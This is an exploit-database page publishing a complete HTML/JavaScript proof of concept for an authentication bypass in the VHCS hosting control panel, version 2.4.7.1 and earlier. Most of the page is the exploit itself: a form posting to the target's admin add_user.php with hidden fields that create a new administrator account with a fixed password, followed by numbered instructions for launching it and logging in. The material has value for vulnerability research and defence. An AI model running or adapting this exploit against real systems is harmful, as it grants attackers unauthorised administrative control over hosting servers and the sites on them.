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Home arrow ExploitAlert Database

Arrow  Topic :

VHCS <= 2.4.7.1 (Add User) Authentication Bypass Exploit


Arrow  ExploitAlert : 335
Arrow  Credit : RoMaNSoFt
Arrow  Date : 24.2.2006

Arrow   Download

Arrow   Plain text version

Arrow  Exploit Code :  

<html>

<head>
<title>VHCS (version <= 2.4.7.1) PoC. &nbsp;By RoMaNSoFt</title>
<script language="JavaScript">
function submitform()
{
if (document.admin_add_user.username.value=='admin')
{
alert('Learn to read before launching an exploit, script-kiddie!');
exit();
}

document.admin_add_user.action=document.admin_add_user.target.value;
document.admin_add_user.submit();
}
</script>
</head>

<body>
<hr>
<center>
<b>VHCS (version <= 2.4.7.1) PoC. &nbsp;By RoMaNSoFt
&#60roman&#64rs-labs.com&#62 &nbsp;[08.Feb.2006]</b>

</center>
<hr>

<form name="admin_add_user" method="post" action="">
<table width="100%" cellpadding="5" cellspacing="5">
<tr>
<td width="20">&nbsp;</td>
<td colspan="2">
&nbsp;
</td>

</tr>
<tr>
<td width="20">&nbsp;</td> <td width="200">Target URL</td>
<td>
<input type="text" name="target"
value="http://<target>/vhcs2/admin/add_user.php" style="width:400px">
</td>
</tr>

<tr>

<td width="20">&nbsp;</td> <td width="200">Username</td>
<td>
<input type="text" name="username" value="admin"
style="width:200px">&nbsp;(should NOT exist)
</td>
</tr>
<tr>
<td>&nbsp;</td>
<td colspan="2"><a href="javascript: submitform()">Exploit
it!</a></td>
</tr>

<tr>
<td colspan="3">&nbsp;
</td>
</tr>
</table>
<input type="hidden" name="pass" value="dsrrocks">
<input type="hidden" name="pass_rep" value="dsrrocks">
<input type="hidden" name="email"
value="vhcs-exploit@rs-labs.com">
<input type="hidden" name="uaction" value="add_user">
</form>


<hr>
<br>
<u>Quick instructions</u>.-<br>
<br>
1.- Enable JavaScript. Fill in the form with appropiate target URL
(usually you will only need to replace &#60target&#62 string) and
username.<br>
2.- Remember not to use a probably existing username (such as
"admin").<br>

3.- Launch the exploit. <i>If target system is vulnerable, a new
VHCS admin user will be created</i> ;-)<br>
4.- You will be redirected to VHCS login page. Try to login with
your brand new username.<br>
5.- Ummm, I forgot it... The password is: <b>dsrrocks</b>.<br>

<br>

<u>More info (analysis, fix, etc)</u>.-<br>
<br>
See <a
href=http://www.rs-labs.com/adv/RS-Labs-Advisory-2006-1.txt><i>RS-2006-1</i
></a>.<br>
<br>
<hr>
</body>

</html>
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